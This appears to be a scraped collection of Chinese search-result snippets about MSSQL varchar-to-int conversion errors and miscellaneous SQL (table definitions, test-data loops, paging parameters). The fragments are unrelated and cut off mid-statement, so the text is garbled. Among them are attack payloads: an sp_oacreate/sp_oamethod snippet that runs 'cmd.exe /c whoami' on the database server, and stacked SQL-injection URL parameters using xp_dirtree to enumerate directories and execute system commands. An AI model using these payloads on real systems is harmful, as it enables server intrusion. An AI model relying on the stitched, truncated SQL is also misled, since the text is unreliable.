MSSQL 错误:在将 varchar 值 '[Power By听雨的人]1,2,3,5,6' 转换成数据类型 int 时失败。 select*fromT_USERINFOwherecharindex(rtrim(',1,'),','+ USER_ID +',')>0
cast(字段1 as int) + cast(字段2 as int)
@OriginalSize) + ' 8K pages or ' + CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'FROM sysfilesWHERE name = @LogicalFileNameCREATE TABLE DummyTrans(DummyColumn char (8000) not null)DECLARE @CounterINT, @StartTime DATETIME, @TruncLog VARCHAR(...
2019-12-06 17:51 −CREATE FUNCTION dbo.f_splitstr( @str varchar(8000) )RETURNS @r TABLE(id int IDENTITY(1, 1), value varchar(5000)) AS BEGIN /* Function body */ DECLARE ... wxm3177 0 865 C++ int const 和 const int 的区别 ...
declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan, 'exec', @exec output, 'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exe...
to t0811InStuDb 94 95 96 97 ---添加测试数据 98 --学员信息 99 declare @n int 100 set @n=1 101 while @n<10 102 begin 103 Insert StuInfo (StuName)values('张'+convert(varchar(2),@n)) 104 set @n=@n+1 105 end 106 107 --成绩信息 108 declare @n int 109 set @n=1 110 whi...
@intOrder int,--排序的顺序 0 升序 1降序 @strColumnlist varchar(150) , --要查询出的字段列表,*表示全部字段 cmd.Parameters.Add("@strColumnlist", "*"); @strWhere varchar(800)='',--查询条件cmd.Parameters.Add("@strWhere", ""); ...
消费次数 int, 积分int ) select * from CustBank --建立图书信息表 Create table BookInfo ( BId char(20) Constraint PK_BookInfo_BkId Primary key, BName varchar(30)not null,--非空约束 BPulisher varchar(20) not null, BPrice money,
CREATE TABLE `TEST_TB_GRADE` ( `ID` int(10) NOT NULL AUTO_INCREMENT, `USER_NAME` varchar(20) DEFAULT NULL, `COURSE` varchar(20) DEFAULT NULL, `SCORE` float DEFAULT '0', PRIMARY KEY (`ID`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; insert into TEST_TB_GRADE(USER_NAME...
代码语言:javascript 复制 ?id=-1;create table temp (dir varchar(8000),num int,num1 int); ?id=-1;insert into temp(dir, num, num1) execute master..xp_dirtree 'c:',1,1 • 执行系统命令来寻找 代码语言:javascript 复制 ?id=-1;create table temp (dir varchar(8000)); ?id=-1;insert...